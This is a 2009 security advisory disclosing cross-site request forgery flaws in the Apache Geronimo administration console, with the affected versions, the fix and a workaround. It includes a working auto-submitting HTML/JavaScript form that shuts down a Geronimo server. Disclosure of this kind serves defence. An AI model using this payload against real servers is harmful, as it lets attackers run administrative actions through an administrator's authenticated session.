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[DSECRG-09-020] Apache Geronimo - XSRF vulnerabilities
From: DSecRG <research () dsecrg com>
Date: Thu, 16 Apr 2009 21:18:47 +0400
Original Advisory:http://dsecrg.com/pages/vul/show.php?id=120Digital Security Research Group [DSecRG] Advisory #DSECRG-09-020Application: Apache Geronimo Application ServerVersions Affected: 2.1 - 2.1.3Vendor URL:http://geronimo.apache.org/Bug: Multiple XSRF VulnerabilitiesExploits: YESReported: 10.12.2008Vendor response: 10.12.2008Solution: YES Date of Public Advisory: 16.04.2009CVE-number: 2009-0039Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)Description***********Geronimo Server Console multiple XSRF vulnerabilities.Various cross-site request forgery (XSRF or CSRF) vulnerabilities were identified in the Apache Geronimo web administration console.This affects all full JavaEE Geronimo releases or other distributions which include the administration web console up to and including Geronimo 2.1.3.Details*******Exploiting this issue may allow a remote attacker to perform certain administrative actions, e.g. change web administration password, upload applications, etc... using predictable URL requests once the user has authenticated and obtained a valid session with the server.Example [Shutdown Server]:<html> <form action='http://[server]/console/portal//Server/Shutdown/__ac0x3console-base0x2ServerManager!-1172254814|0' id=1> <input type=hidden value='Shutdown' name="shutdown"> <input type=submit> </form></html><script> document.getElementById(1).submit();</script>Solution********This security vulnerabilities fixed in Geronimo 2.1.4 release.New version of Geronimo 2.1.4 can be downloaded from this location:http://geronimo.apache.org/downloads.htmlAn alternative workaround (if you choose to not upgrade to Apache Geronimo 2.1.4) would be to stop or undeploy the administration web console application in the server.Credits*******http://geronimo.apache.org/21x-security-report.html#2.1.xSecurityReport-214About*****Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.Contact: research [at] dsecrg [dot] comhttp://www.dsecrg.comhttp://www.dsec.ruRegards,Digital Security Research Group [DSecRG]________________________________________DIGITAL SECURITYtel/fax: +7(812)703-1547tel: +7(812)430-9130e-mail: research () dsecrg comweb: www.dsecrg.com----------------------------------------This message and any attachment are confidential and may be privileged or otherwise protected from disclosure. If you are not the intended recipient any use, distribution, copying or disclosure is strictly prohibited. If you have received this message in error, please notify the sender immediately either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding statements by e-mail unless otherwise agreed. ----------------------------------------
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